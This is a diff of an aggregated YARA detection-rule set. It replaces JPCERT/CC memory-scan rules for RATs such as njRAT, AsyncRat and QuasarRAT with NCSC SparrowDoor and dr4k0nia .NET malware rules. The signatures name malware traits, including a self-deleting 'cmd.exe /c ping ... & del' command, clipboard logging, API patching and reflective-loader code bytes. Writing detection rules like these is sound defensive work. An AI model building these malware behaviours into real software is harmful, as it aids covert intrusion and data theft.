+		hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015"
+		logic_hash = "9a0e8a3b627fa46f11fb5bbf926665aed4de6250c5229c8acb59c784e66943e5"
 		score = 75
 		quality = 80
 		tags = "FILE"
-		rule_usage = "memory scan"
-		hash1 = "670a00c65eb6f7c48c1e961068a1cb7fd3653bd29377161cd04bf15c9d010da2 "
 
 	strings:
-		$type2db1 = "1.85 (Hash, version 2, native byte-order)" wide
-		$type2db2 = "Unknow database format" wide
-		$type2db3 = "SQLite format 3" wide
-		$type2db4 = "Berkelet DB" wide
+		$dotnetMagic = "BSJB" ascii
+		$s1 = "http://*:80/W3SVC/" wide
+		$s2 = "https://*:443/W3SVC/" wide
+		$s3 = "neuron2.exe" ascii
+		$s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and 3 of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 2 of ($s*)
 }
-rule JPCERTCC_Noderat
+rule NCSC_Sparrowdoor_Loader : FILE
 {
 	meta:
-		description = "detect Noderat in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "9c2c4b0f-0f45-54f6-a98c-b592af882eef"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L429-L442"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "e1254b6cf28161943db202ea0a6ff2d86aa7975d4a3ecc0f26eed58101e54960"
+		description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant."
+		author = "NCSC"
+		id = "7107cb82-c4c9-503f-b006-baec6b667498"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_loader.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "fa1bd386114d912722a5101a0112355dec654e2e9446c885c12946c7fae1c8f4"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
+		hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
 
 	strings:
-		$config = "/config/app.json"
-		$key = "/config/.regeditKey.rc"
-		$message = "uninstall error when readFileSync: "
+		$xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1}
+		$rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56}
+		$lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and all of them
 }
-rule JPCERTCC_Njrat
+rule NCSC_Sparrowdoor_Apipatch
 {
 	meta:
-		description = "detect njRAT in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "96b35796-3e1d-5721-998a-e678612e4de7"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L444-L456"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "398614ff5ea37dfaf6c36f60702cb7cdfe66b4569c698e9c3ea29563e4031856"
+		description = "Identifies code segments in SparrowDoor responsible for patching APIs. No MZ/PE match as the backdoor has no header. Targeting in memory."
+		author = "NCSC"
+		id = "119b7f3a-1850-53ab-a5d1-8882e34a34b4"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_apipatch.yar#L1-L17"
+		license_url = "N/A"
+		logic_hash = "302ad7fc0354636c57e6ec86876c7d4a5baaa784f5ecf0f2d51ce47631b8542a"
 		score = 75
 		quality = 80
 		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	strings:
-		$reg = "SEE_MASK_NOZONECHECKS" wide fullword
-		$msg = "Execute ERROR" wide fullword
-		$ping = "cmd.exe /c ping 0 -n 2 & del" wide fullword
+		$save = {8B 06 89 07 8A 4E 04}
+		$vp_1 = {89 10 8A 4E 04 8B D6 2B D0 88 48 04 83 EA 05 C6 40 05 E9 89 50 06}
+		$vp_2 = {50 8B D6 6A 40 2B D7 88 4F 04 83 EA 05 6A 05 C6 47 05 E9 89 57 06 56}
+		$vp_3 = {51 52 2B DE 6A 05 83 EB 05 56 C6 06 E9 89 5E 01}
+		$va = {6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+		$s_patch = {50 68 7F FF FF FF 68 FF FF 00 00 56}
 
 	condition:
-		all of them
+		3 of them
 }
-rule JPCERTCC_Trickbot
+import "pe"
+
+rule NCSC_Sparrowdoor_Clipshot : FILE
 {
 	meta:
-		description = "detect TrickBot in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "1a3c5193-bea1-5f64-be40-47bd22c09772"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L458-L478"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "b0c3437bc4b4f9e7b2a1562e2d514b7aad398d5e387bb79829757b5772a1ebc3"
+		description = "The SparrowDoor loader contains a feature it calls clipshot, which logs clipboard data to a file."
+		author = "NCSC"
+		id = "186e694b-6ae1-5042-847a-f54708dc76ef"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_clipshot.yar#L3-L20"
+		license_url = "N/A"
+		logic_hash = "7662e3be2752ac82d6cfe4b2e420157e78367c201c25ae34b5d956dc53ba20ae"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "2153be5c6f73f4816d90809febf4122a7b065cbfddaa4e2bf5935277341af34c"
+		tags = "FILE"
+		hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
 
 	strings:
-		$tagm1 = "<mcconf><ver>" wide
-		$tagm2 = "</autorun></mcconf>" wide
-		$tagc1 = "<moduleconfig><autostart>" wide
-		$tagc2 = "</autoconf></moduleconfig>" wide
-		$tagi1 = "<igroup><dinj>" wide
-		$tagi2 = "</dinj></igroup>" wide
-		$tags1 = "<servconf><expir>" wide
-		$tags2 = "</plugins></servconf>" wide
-		$tagl1 = "<slist><sinj>" wide
-		$tagl2 = "</sinj></slist>" wide
-		$dllname = { 6C 00 00 00 CC 00 00 00 19 01 00 00 00 00 00 00 1A 01 }
+		$exsting_cmp = {8B 1E 3B 19 75 ?? 83 E8 04 83 C1 04 83 C6 04 83 F8 04}
+		$time_format_string = "%d/%d/%d %d:%d" ascii
+		$cre_fil_args = {6A 00 68 80 00 00 00 6A 04 6A 00 6A 02 68 00 00 00 40 52}
 
 	condition:
-		all of ($tagm*) or all of ($tagc*) or all of ($tagi*) or all of ($tags*) or all of ($tagl*) or $dllname
+		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and all of them and (pe.imports("User32.dll","OpenClipboard") and pe.imports("User32.dll","GetClipboardData") and pe.imports("Kernel32.dll","GetLocalTime") and pe.imports("Kernel32.dll","GlobalSize"))
 }
-rule JPCERTCC_Remcos_1
+rule NCSC_Sparrowdoor_Shellcode
 {
 	meta:
-		description = "detect Remcos in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "4a27a16a-2669-5009-bc82-082ec0c9b2c1"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L480-L493"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "1b4b9f7a88f33faeda71ea9a354eeccba8889800f48a6280c4ec533bb1b3ef3d"
+		description = "Targets code features of the reflective loader for SparrowDoor. Targeting in memory."
+		author = "NCSC"
+		id = "572187fb-1a11-54f2-9fe7-2b7468b56556"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_shellcode.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "7186bab23114b4825161f58fb02ff397ec8278385482232a4086c86c6fc47082"
 		score = 75
 		quality = 80
 		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	strings:
-		$remcos = "Remcos" ascii fullword
-		$url1 = "Breaking-Security.Net" ascii fullword
-		$url2 = "BreakingSecurity.Net" ascii fullword
-		$resource = "SETTINGS" ascii wide fullword
+		$peb = {8B 48 08 89 4D FC 8B 51 3C 8B 54 0A 78 8B 74 0A 20 03 D1 03 F1 B3 64}
+		$getp_match = {8B 06 03 C1 80 38 47 75 34 80 78 01 65 75 2E 80 78 02 74 75 28 80 78 03 50 75 22 80 78 04 72 75 1C 80 78 06 63 75 16 80 78 05 6F 75 10 80 78 07 41 75 0A}
+		$k_check = {8B 48 20 8A 09 80 F9 6B 74 05 80 F9 4B 75 05}
+		$resolve_load_lib = {C7 45 C4 4C 6F 61 64 C7 45 C8 4C 69 62 72 C7 45 CC 61 72 79 41 C7 45 D0 00 00 00 00 FF 75 FC FF 55 E4}
 
 	condition:
-		1 of ($url*) and $remcos and $resource
+		3 of them
 }
-rule JPCERTCC_Quasar
+rule NCSC_Sparrowdoor_Sleep_Routine
 {
 	meta:
-		description = "detect QuasarRAT in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "f0a81a46-c19b-5012-a1a2-f2f4310fcde3"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L495-L513"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "a3bb45f2ea217ae1825d80e1ead9c3e47ca88575c960ce1f9feb2db09f489e08"
+		description = "SparrowDoor implements a Sleep routine with value seeded on GetTickCount. This signature detects the previous and this variant of SparrowDoor. No MZ/PE match as the backdoor has no header."
+		author = "NCSC"
+		id = "9a0aa77d-7dbe-5007-b875-211cf528614b"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_sleep_routine.yar#L1-L12"
+		license_url = "N/A"
+		logic_hash = "8ae231cb43440e1771d9f7ecaccfedae33f4d14e5ebabd94a909e05bd9fe1bc1"
 		score = 75
 		quality = 80
 		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "390c1530ff62d8f4eddff0ac13bc264cbf4183e7e3d6accf8f721ffc5250e724"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	strings:
-		$quasarstr1 = "Client.exe" wide
-		$quasarstr2 = "({0}:{1}:{2})" wide
-		$sql1 = "SELECT * FROM Win32_DisplayConfiguration" wide
-		$sql2 = "{0}d : {1}h : {2}m : {3}s" wide
-		$sql3 = "SELECT * FROM FirewallProduct" wide
-		$net1 = "echo DONT CLOSE THIS WINDOW!" wide
-		$net2 = "freegeoip.net/xml/" wide
-		$net3 = "http://api.ipify.org/" wide
-		$resource = { 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 73 00 00 17 69 00 6E 00 66 00 6F 00 72 00 6D 00 61 00 74 00 69 00 6F 00 6E 00 00 }
+		$sleep = {FF D7 33 D2 B9 [4] F7 F1 81 C2 [4] 8B C2 C1 E0 04 2B C2 03 C0 03 C0 03 C0 50}
 
 	condition:
-		(( all of ($quasarstr*) or all of ($sql*)) and $resource) or all of ($net*)
+		all of them
 }
-rule JPCERTCC_Elf_Plead
+/*
+ * YARA Rule Set
+ * Repository Name: Dr4k0nia
+ * Repository: https://github.com/dr4k0nia/yara-rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8
+ * Number of Rules: 5
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * # Detection Rule License (DRL) 1.1
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
+
+2. a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable
+
+3. indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable
+
+If you use the Rules (including in modified form) on data, messages based on matches with the Rules must retain the following if it is supplied within the Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
+
+ */
+rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE
 {
 	meta:
-		description = "ELF_PLEAD"
-		author = "JPCERT/CC Incident Response Group"
-		id = "12f93939-812f-52b6-9582-b375bb361892"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L515-L529"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		hash = "f704303f3acc2fd090145d5ee893914734d507bd1e6161f82fb34d45ab4a164b"
-		logic_hash = "088d17afe77076f8b1e5f7cb285d825d597d9c971a03f878bf64b6d2af14a01f"
+		description = "Detects TyphonLogger .NET payloads"
+		author = "dr4k0nia"
+		id = "2fbc1d9e-9c07-560b-9476-a176cdbe1bad"
+		date = "2023-11-07"
+		modified = "2023-07-11"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/mal_msil_typhon_logger.yar#L1-L21"
+		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
+		hash = "fc8733c217b49ca14702a59a637efc7dba6a2993d57e67424513ce2f5e9d8ed8"
+		logic_hash = "5c22aab1942e31095989b8267e0231191718d4ec44eb3afc6a50f929aae872c8"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$ioctl = "ioctl TIOCSWINSZ error"
-		$class1 = "CPortForwardManager"
-		$class2 = "CRemoteShell"
-		$class3 = "CFileManager"
-		$lzo = { 81 ?? FF 07 00 00 81 ?? 1F 20 00 00 }
+		$sa1 = "SetWindowsHookEx" ascii fullword
+		$sa2 = "iphlpapi.dll" ascii fullword
+		$sa3 = "SendARP" ascii fullword
+		$sa4 = "costura.bouncycastle.crypto.dll.compressed" ascii fullword
+		$op1 = {51 32 46 79 64 47 55 67 51 6D 78 68 62 6D 4E 6F 5A 53 42 44 59 58 4A 6B}
+		$op2 = {53 57 35 7A 64 47 45 67 55 47 46 35 62 57 56 75 64 43 42 44 59 58 4A 6B}
+		$op3 = {20 25 32 C4 C1 35 4C 11 06 20 6B 6D AC 1D 35 1D 11 06 20 4B A6 CA 11 3B 59 01 00 00 11 06 20 6B 6D AC 1D}
+		$sx = "New Projects\\EmeraldLogger\\EmeraldLogger\\obj\\" ascii
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and ($sx or ( all of ($sa*) and 2 of ($op*)))
 }
-rule JPCERTCC_Asyncrat
+import "dotnet"
+
+rule DR4K0NIA_Msil_Suspicious_Use_Of_Strreverse : FILE
 {
 	meta:
-		description = "detect AsyncRat in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "758614e8-df93-54ff-9f06-0020b54fbf88"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L531-L548"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "0a60718ea3412129c40e2eee53591dbf094a6b914502242b5ab9b54f8fd95da0"
-		score = 75
-		quality = 76
-		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "1167207bfa1fed44e120dc2c298bd25b7137563fdc9853e8403027b645e52c19"
-		hash2 = "588c77a3907163c3c6de0e59f4805df41001098a428c226f102ed3b74b14b3cc"
+		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
+		author = "dr4k0nia"
+		id = "6d4682c3-b372-5d9e-bd6b-747c63e507c6"
+		date = "2023-01-31"
+		modified = "2023-02-22"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_suspicious_use_of_strreverse.yar#L3-L26"
+		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
+		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
+		logic_hash = "ce44f1df536104134303b705bda5798dd14dc413296636f2380ecf5811dd63b7"
+		score = 60
+		quality = 55
+		tags = "FILE"
+		version = "1.1"
 
 	strings:
-		$salt = {BF EB 1E 56 FB CD 97 3B B2 19 02 24 30 A5 78 43 00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41}
-		$b1 = {00 00 00 0D 53 00 48 00 41 00 32 00 35 00 36 00 00}
-		$b2 = {09 50 00 6F 00 6E 00 67 00 00}
-		$s1 = "pastebin" ascii wide nocase
-		$s2 = "pong" wide
-		$s3 = "Stub.exe" ascii wide
+		$csharp = "Microsoft.CSharp"
+		$vbnet = "Microsoft.VisualBasic"
+		$strreverse = "StrReverse"
 
 	condition:
-		($salt and (2 of ($s*) or 1 of ($b*))) or ( all of ($b*) and 2 of ($s*))
+		uint16(0)==0x5a4d and dotnet.is_dotnet and filesize <50MB and $csharp and $vbnet and $strreverse
 }
-rule JPCERTCC_Wellmess : FILE
+import "dotnet"
+
+rule DR4K0NIA_Msil_Susp_Obf_Antidump : FILE
 {
 	meta:
-		description = "detect WellMess in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "07084b85-b4fa-5534-aca5-1ddac3a3988b"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L550-L569"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "1f5a1ba51dd99eadaf5de344539712057f4635b060d4f306b50a6ecb65931970"
-		score = 75
-		quality = 80
+		description = "No description has been set in the source file - Dr4k0nia"
+		author = "dr4k0nia"
+		id = "d9217ade-a016-548e-b63f-f6ee78ff8775"
+		date = "2023-12-03"
+		modified = "2023-03-13"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_antidump.yar#L7-L39"
+		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
+		hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42"
+		logic_hash = "18cfc720f54b2178398f8214591a3fb777ea11e67a8a6d2ce26cc4891a62fd35"
+		score = 65
+		quality = 85
 		tags = "FILE"
-		rule_usage = "memory scan"
-		hash1 = "0322c4c2d511f73ab55bf3f43b1b0f152188d7146cc67ff497ad275d9dd1c20f"
-		hash2 = "8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8 "
+		version = "1.0"
 
 	strings:
-		$botlib1 = "botlib.wellMess" ascii
-		$botlib2 = "botlib.Command" ascii
-		$botlib3 = "botlib.Download" ascii
-		$botlib4 = "botlib.AES_Encrypt" ascii
-		$dotnet1 = "WellMess" ascii
-		$dotnet2 = "<;head;><;title;>" ascii wide
-		$dotnet3 = "<;title;><;service;>" ascii wide
-		$dotnet4 = "AES_Encrypt" ascii
+		$import0 = "ZeroMemory"
+		$import1 = "VirtualProtect"
+		$importt2 = "GetCurrentProcess"
+		$array0 = {08 00 00 00 0c 00 00 00 10 00 00 00 14 00 00 00
+		18 00 00 00 1c 00 00 00 24 00 00 00}
+		$array1 = {04 00 00 00 16 00 00 00 18 00 00 00 40 00 00 00
+		42 00 00 00 44 00 00 00 46 00 00 00 48 00 00 00
+		4a 00 00 00 4c 00 00 00 5c 00 00 00 5e 00 00 00}
+		$array2 = {00 00 00 00 08 00 00 00 0c 00 00 00 10 00 00 00
+		16 00 00 00 1c 00 00 00 20 00 00 00 28 00 00 00
+		2c 00 00 00 34 00 00 00 3c 00 00 00 4c 00 00 00
+		50 00 00 00 54 00 00 00 58 00 00 00 60 00 00 00
+		64 00 00 00 68 00 00 00 6c 00 00 00 70 00 00 00
+		74 00 00 00 04 01 00 00 08 01 00 00 0c 01 00 00
+		10 01 00 00 14 01 00 00 1c 01 00 00}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( all of ($botlib*) or all of ($dotnet*))
+		uint16(0)==0x5a4d and dotnet.is_dotnet and all of them
 }
-rule JPCERTCC_Elf_Wellmess : FILE
+import "dotnet"
+
+rule DR4K0NIA_Msil_Susp_Obf_Xorstringsnet : FILE
 {
 	meta:
-		description = "ELF_Wellmess"
-		author = "JPCERT/CC Incident Response Group"
-		id = "3e6cb461-fc51-5ea6-bd6f-6dab11d5704c"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://github.com/JPCERTCC/MalConfScan/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L571-L584"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		hash = "00654dd07721e7551641f90cba832e98c0acb030e2848e5efc0e1752c067ec07"
-		logic_hash = "99789bba9c398b7927b3ab42bb4df40e5470e0816cc048dcc7d09c6a78a1a505"
+		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
+		author = "dr4k0nia"
+		id = "0bea654d-9244-5320-a815-691384decc74"
+		date = "2023-03-26"
+		modified = "2023-03-26"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_xorstringsnet.yar#L3-L16"
+		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
+		logic_hash = "c494b5b64bcb63d1edd611206fb41eb9a23a940a72c3e9fc3f626e91482b1352"
+		score = 65
+		quality = 85
+		tags = "FILE"
+		version = "1.0"
+
+	strings:
+		$pattern = { 06 1E 58 07 8E 69 FE17 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <25MB and dotnet.is_dotnet and $pattern
+}
+rule DR4K0NIA_MAL_Msil_Net_Niximports_Loader : FILE
+{
+	meta:
+		description = "Detects NixImports .NET loader"
+		author = "dr4k0nia"
+		id = "ba0d072d-674a-5790-9381-4dac98204268"
+		date = "2023-05-21"
+		modified = "2023-05-22"
+		reference = "https://github.com/dr4k0nia/NixImports"
+		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_mal_niximports_loader.yar#L1-L21"
+		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
+		logic_hash = "79421b2677705852f893fa53478deb2e4aa8bd354ac05cbf5438a3a2a15d70bf"
 		score = 75
-		quality = 80
+		quality = 85
 		tags = "FILE"
 
 	strings:
-		$botlib1 = "botlib.wellMess" ascii
-		$botlib2 = "botlib.Command" ascii
-		$botlib3 = "botlib.Download" ascii
-		$botlib4 = "botlib.AES_Encrypt" ascii
+		$op_pe = {C2 95 C2 97 C2 B2 C2 92 C2 82 C2 82 C2 8E C2 82 C2 82 C2 82 C2 82 C2 86 C2 82}
+		$op_delegate = {20 F0 C7 FF 80 20 83 BF 7F 1F 14 14}
+		$a1 = "GetRuntimeProperties" ascii fullword
+		$a2 = "GetTypes" ascii fullword
+		$a3 = "GetRuntimeMethods" ascii fullword
+		$a4 = "netstandard" ascii fullword
 
 	condition:
-		( uint32(0)==0x464C457F) and all of ($botlib*)
+		uint16(0)==0x5a4d and filesize <3MB and all of ($a*) and 2 of ($op*)
 }
 /*
  * YARA Rule Set
- * Repository Name: SecuInfra
- * Repository: https://github.com/SIFalcon/Detection
- * Retrieval Date: 2024-08-04
- * Git Commit: 2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd
- * Number of Rules: 45
- * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance)
+ * Repository Name: EmbeeResearch
+ * Repository: https://github.com/embee-research/Yara-detection-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4
+ * Number of Rules: 39
+ * Skipped: 0 (age), 8 (quality), 0 (score), 0 (importance)
  *
  *
  * LICENSE
  *
  * NO LICENSE SET
  */
-import "pe"
-import "dotnet"
-
-rule SECUINFRA_APT_Bitter_Maldoc_Verify : CVE_2018_0798
+rule EMBEERESEARCH_Win_Marsstealer_Encryption_Bytecodes
 {
 	meta:
-		description = "Detects Bitter (T-APT-17) shellcode in oleObject (CVE-2018-0798)"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "8e0e32d3-f00e-5145-9386-f42ddca703ae"
-		date = "2022-06-01"
-		modified = "2022-07-05"
-		reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L11-L40"
+		description = "Encryption observed in MarsStealer"
+		author = "Matthew @ Embee_Research"
+		id = "7a66ea9c-966e-5780-8b36-a268904b9c1b"
+		date = "2023-12-24"
+		modified = "2023-12-24"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_marsStealer_encryption_bytecodes_dec_2023.yar#L1-L16"
